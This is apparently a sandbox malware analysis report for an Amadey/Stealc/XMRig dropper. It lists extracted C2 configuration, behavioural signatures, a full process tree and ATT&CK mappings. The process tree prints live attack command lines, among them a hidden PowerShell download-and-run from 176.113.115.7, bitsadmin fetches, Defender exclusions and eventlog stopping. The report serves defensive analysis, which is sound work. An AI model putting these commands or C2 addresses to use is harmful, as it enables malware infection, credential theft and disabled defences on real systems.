Overview

overview

10

Static

static

5

6c1c13c558...b8.exe

windows7-x64

10

6c1c13c558...b8.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    133s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    05/03/2025, 18:41

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6c1c13c558064b548a5c9d5d791cd652bef19802cca778fe560ab64bbfb698b8.exe

  • Size

    938KB

  • MD5

    fa46bf7e563cae268f877b6868875b6f

  • SHA1

    29d2e9285129ee07b476bf864e52dae99676bb42

  • SHA256

    6c1c13c558064b548a5c9d5d791cd652bef19802cca778fe560ab64bbfb698b8

  • SHA512

    5cce4d4e042efb139902c69154aa9d343629342bb1aa89e4ffdc140b81c683f6602ad7ad84db3038a36caf6332e43fa85b4f060e87f1da7b0944be089f20b935

  • SSDEEP

    24576:AqDEvCTbMWu7rQYlBQcBiT6rprG8a4ru:ATvC/MTQYxsWR7a4r

Score
10/10
amadeyhealerstealcxmrig092155trumpdefense_evasiondiscoverydropperevasionexecutionminerpersistencespywarestealertrojanupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    defense_evasion
  • XMRig Miner payload 9 IoCs
    miner
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Download via BitsAdmin 1 TTPs 3 IoCs
    dropper
  • Downloads MZ/PE file 10 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 19 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 51 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 18 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\6c1c13c558064b548a5c9d5d791cd652bef19802cca778fe560ab64bbfb698b8.exe
    "C:\Users\Admin\AppData\Local\Temp\6c1c13c558064b548a5c9d5d791cd652bef19802cca778fe560ab64bbfb698b8.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2272
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn OiaqAmaITEZ /tr "mshta C:\Users\Admin\AppData\Local\Temp\h1ZBzSU6S.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2316
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn OiaqAmaITEZ /tr "mshta C:\Users\Admin\AppData\Local\Temp\h1ZBzSU6S.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2524
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\h1ZBzSU6S.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2332
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'XM9NCVKIA8LY1AC297A9PMXUTVRR7BMZ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3036
        • C:\Users\Admin\AppData\Local\TempXM9NCVKIA8LY1AC297A9PMXUTVRR7BMZ.EXE
          "C:\Users\Admin\AppData\Local\TempXM9NCVKIA8LY1AC297A9PMXUTVRR7BMZ.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2928
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2460
            • C:\Users\Admin\AppData\Local\Temp\10105590101\4cee97f6df.exe
              "C:\Users\Admin\AppData\Local\Temp\10105590101\4cee97f6df.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1944
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 1212
                7⤵
                • Loads dropped DLL
                • Program crash
                PID:2632
            • C:\Users\Admin\AppData\Local\Temp\10105600101\f62db21d11.exe
              "C:\Users\Admin\AppData\Local\Temp\10105600101\f62db21d11.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2088
            • C:\Users\Admin\AppData\Local\Temp\10105610101\65fb82b9fe.exe
              "C:\Users\Admin\AppData\Local\Temp\10105610101\65fb82b9fe.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:2308
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM firefox.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2992
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM chrome.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2128
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM msedge.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1404
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM opera.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2848
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM brave.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2780
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                7⤵
                  PID:2664
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                    8⤵
                    • Checks processor information in registry
                    • Modifies registry class
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:3000
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3000.0.1511755674\88756653" -parentBuildID 20221007134813 -prefsHandle 1212 -prefMapHandle 1204 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {411c019a-80d2-44ad-b533-cd8636a7d071} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" 1288 121f5358 gpu
                      9⤵
                        PID:2712
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3000.1.133270363\177022422" -parentBuildID 20221007134813 -prefsHandle 1464 -prefMapHandle 1460 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {94eb7013-e908-40cc-89d5-9044b5a677f1} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" 1476 e74e58 socket
                        9⤵
                          PID:1828
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3000.2.1515965126\713890070" -childID 1 -isForBrowser -prefsHandle 2080 -prefMapHandle 2076 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 828 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {423c91bd-5c29-4e08-8d62-6a85ba3c4ee8} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" 2092 1a49ac58 tab
                          9⤵
                            PID:2380
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3000.3.1133081481\1079293692" -childID 2 -isForBrowser -prefsHandle 2908 -prefMapHandle 2904 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 828 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a11b37b-a813-467d-a683-fa4da743fbc2} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" 2920 e5d258 tab
                            9⤵
                              PID:1328
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3000.4.1298994108\1038289138" -childID 3 -isForBrowser -prefsHandle 3712 -prefMapHandle 3696 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 828 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {02a1abab-b928-41ab-b9a5-3d2bb78f6795} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" 3728 1f15ec58 tab
                              9⤵
                                PID:1464
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3000.5.173517012\787071751" -childID 4 -isForBrowser -prefsHandle 3844 -prefMapHandle 3848 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 828 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e162bce9-348d-4e4d-a39c-6f8f317601a5} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" 3832 20c2b258 tab
                                9⤵
                                  PID:1312
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3000.6.1823232467\945336367" -childID 5 -isForBrowser -prefsHandle 4004 -prefMapHandle 4008 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 828 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {93c8b46b-b679-4aa5-84ec-bb803b3d6aa8} 3000 "\\.\pipe\gecko-crash-server-pipe.3000" 3996 20c2bb58 tab
                                  9⤵
                                    PID:1696
                            • C:\Users\Admin\AppData\Local\Temp\10105620101\f3c2a01352.exe
                              "C:\Users\Admin\AppData\Local\Temp\10105620101\f3c2a01352.exe"
                              6⤵
                              • Modifies Windows Defender DisableAntiSpyware settings
                              • Modifies Windows Defender Real-time Protection settings
                              • Modifies Windows Defender TamperProtection settings
                              • Modifies Windows Defender notification settings
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Windows security modification
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1616
                            • C:\Users\Admin\AppData\Local\Temp\10105630101\v6Oqdnc.exe
                              "C:\Users\Admin\AppData\Local\Temp\10105630101\v6Oqdnc.exe"
                              6⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2756
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 2756 -s 1200
                                7⤵
                                • Loads dropped DLL
                                • Program crash
                                PID:3192
                            • C:\Users\Admin\AppData\Local\Temp\10105640101\OEHBOHk.exe
                              "C:\Users\Admin\AppData\Local\Temp\10105640101\OEHBOHk.exe"
                              6⤵
                              • Executes dropped EXE
                              • Drops file in System32 directory
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3356
                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                7⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Drops file in System32 directory
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3708
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                7⤵
                                  PID:3808
                                  • C:\Windows\system32\wusa.exe
                                    wusa /uninstall /kb:890830 /quiet /norestart
                                    8⤵
                                    • Drops file in Windows directory
                                    PID:3932
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                  7⤵
                                  • Power Settings
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3816
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                  7⤵
                                  • Power Settings
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3832
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                  7⤵
                                  • Power Settings
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3840
                                • C:\Windows\system32\powercfg.exe
                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                  7⤵
                                  • Power Settings
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3848
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe delete "DWENDQPG"
                                  7⤵
                                  • Launches sc.exe
                                  PID:3864
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe create "DWENDQPG" binpath= "C:\ProgramData\ztlktuiiawkf\ckonftponqgz.exe" start= "auto"
                                  7⤵
                                  • Launches sc.exe
                                  PID:3952
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe stop eventlog
                                  7⤵
                                  • Launches sc.exe
                                  PID:4012
                                • C:\Windows\system32\sc.exe
                                  C:\Windows\system32\sc.exe start "DWENDQPG"
                                  7⤵
                                  • Launches sc.exe
                                  PID:4020
                              • C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe
                                "C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe"
                                6⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of SetThreadContext
                                • System Location Discovery: System Language Discovery
                                PID:3452
                                • C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10105650101\MCxU5Fj.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:3500
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3452 -s 500
                                  7⤵
                                  • Loads dropped DLL
                                  • Program crash
                                  PID:3564
                              • C:\Users\Admin\AppData\Local\Temp\10105660101\Y87Oyyz.exe
                                "C:\Users\Admin\AppData\Local\Temp\10105660101\Y87Oyyz.exe"
                                6⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • System Location Discovery: System Language Discovery
                                PID:2888
                                • C:\Windows\Temp\{250F0B5D-1A71-43C9-A1CB-8AD5E092DF5A}\.cr\Y87Oyyz.exe
                                  "C:\Windows\Temp\{250F0B5D-1A71-43C9-A1CB-8AD5E092DF5A}\.cr\Y87Oyyz.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\10105660101\Y87Oyyz.exe" -burn.filehandle.attached=180 -burn.filehandle.self=188
                                  7⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • System Location Discovery: System Language Discovery
                                  PID:1616
                                  • C:\Windows\Temp\{97BCD807-65EA-4A60-925D-00F0633D9369}\.ba\SplashWin.exe
                                    C:\Windows\Temp\{97BCD807-65EA-4A60-925D-00F0633D9369}\.ba\SplashWin.exe
                                    8⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:320
                                    • C:\Users\Admin\AppData\Roaming\osd_patch_beta\SplashWin.exe
                                      C:\Users\Admin\AppData\Roaming\osd_patch_beta\SplashWin.exe
                                      9⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Suspicious use of SetThreadContext
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious behavior: MapViewOfSection
                                      PID:1808
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\SysWOW64\cmd.exe
                                        10⤵
                                        • Loads dropped DLL
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious behavior: MapViewOfSection
                                        PID:2816
                                        • C:\Users\Admin\AppData\Local\Temp\Syncsign_v1.exe
                                          C:\Users\Admin\AppData\Local\Temp\Syncsign_v1.exe
                                          11⤵
                                          • Loads dropped DLL
                                          PID:2988
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10105671121\fCsM05d.cmd"
                                6⤵
                                • System Location Discovery: System Language Discovery
                                PID:3592
                                • C:\Windows\SysWOW64\fltMC.exe
                                  fltmc
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3588
                                • C:\Windows\SysWOW64\bitsadmin.exe
                                  bitsadmin /transfer "DownloadVrep" https://authenticatior.com/vrep.msi "C:\Users\Admin\AppData\Local\Temp\vrep_install\vrep.msi"
                                  7⤵
                                  • Download via BitsAdmin
                                  • System Location Discovery: System Language Discovery
                                  PID:3520
                                • C:\Windows\SysWOW64\bitsadmin.exe
                                  bitsadmin /transfer "DownloadClient" https://authenticatior.com/Client32.ini "C:\Users\Admin\AppData\Local\Temp\vrep_install\Client32.ini"
                                  7⤵
                                  • Download via BitsAdmin
                                  • System Location Discovery: System Language Discovery
                                  PID:3608
                                • C:\Windows\SysWOW64\bitsadmin.exe
                                  bitsadmin /transfer "DownloadLicense" https://authenticatior.com/NSM.lic "C:\Users\Admin\AppData\Local\Temp\vrep_install\NSM.lic"
                                  7⤵
                                  • Download via BitsAdmin
                                  • System Location Discovery: System Language Discovery
                                  PID:3488
                              • C:\Users\Admin\AppData\Local\Temp\10105680101\zY9sqWs.exe
                                "C:\Users\Admin\AppData\Local\Temp\10105680101\zY9sqWs.exe"
                                6⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:3344
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 1036
                                  7⤵
                                  • Loads dropped DLL
                                  • Program crash
                                  PID:3472
                              • C:\Users\Admin\AppData\Local\Temp\10105690101\Ps7WqSx.exe
                                "C:\Users\Admin\AppData\Local\Temp\10105690101\Ps7WqSx.exe"
                                6⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:3560
                              • C:\Users\Admin\AppData\Local\Temp\10105700101\FvbuInU.exe
                                "C:\Users\Admin\AppData\Local\Temp\10105700101\FvbuInU.exe"
                                6⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                PID:2376
                    • C:\ProgramData\ztlktuiiawkf\ckonftponqgz.exe
                      C:\ProgramData\ztlktuiiawkf\ckonftponqgz.exe
                      1⤵
                      • Executes dropped EXE
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4052
                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                        2⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4076
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                        2⤵
                          PID:3048
                          • C:\Windows\system32\wusa.exe
                            wusa /uninstall /kb:890830 /quiet /norestart
                            3⤵
                            • Drops file in Windows directory
                            PID:1928
                        • C:\Windows\system32\powercfg.exe
                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                          2⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3152
                        • C:\Windows\system32\powercfg.exe
                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                          2⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3160
                        • C:\Windows\system32\powercfg.exe
                          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                          2⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3136
                        • C:\Windows\system32\powercfg.exe
                          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                          2⤵
                          • Power Settings
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2988
                        • C:\Windows\system32\conhost.exe
                          C:\Windows\system32\conhost.exe
                          2⤵
                            PID:3168
                          • C:\Windows\explorer.exe
                            explorer.exe
                            2⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1544

                        Network

                        MITRE ATT&CK Enterprise v15

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        1
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        System Services

                        2
                        T1569

                        Service Execution

                        2
                        T1569.002

                        Persistence

                        BITS Jobs

                        1
                        T1197

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        6
                        T1543

                        Windows Service

                        6
                        T1543.003

                        Power Settings

                        1
                        T1653

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        6
                        T1543

                        Windows Service

                        6
                        T1543.003

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Defense Evasion

                        BITS Jobs

                        1
                        T1197

                        Impair Defenses

                        6
                        T1562

                        Disable or Modify Tools

                        5
                        T1562.001

                        Modify Registry

                        7
                        T1112

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        2
                        T1552

                        Credentials In Files

                        2
                        T1552.001

                        Discovery

                        Browser Information Discovery

                        1
                        T1217

                        Query Registry

                        5
                        T1012

                        System Information Discovery

                        3
                        T1082

                        System Location Discovery

                        1
                        T1614

                        System Language Discovery

                        1
                        T1614.001

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Lateral Movement

                        Collection

                        Data from Local System

                        2
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Service Stop

                        1
                        T1489

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
                          Filesize

                          71KB

                          MD5

                          83142242e97b8953c386f988aa694e4a

                          SHA1

                          833ed12fc15b356136dcdd27c61a50f59c5c7d50

                          SHA256

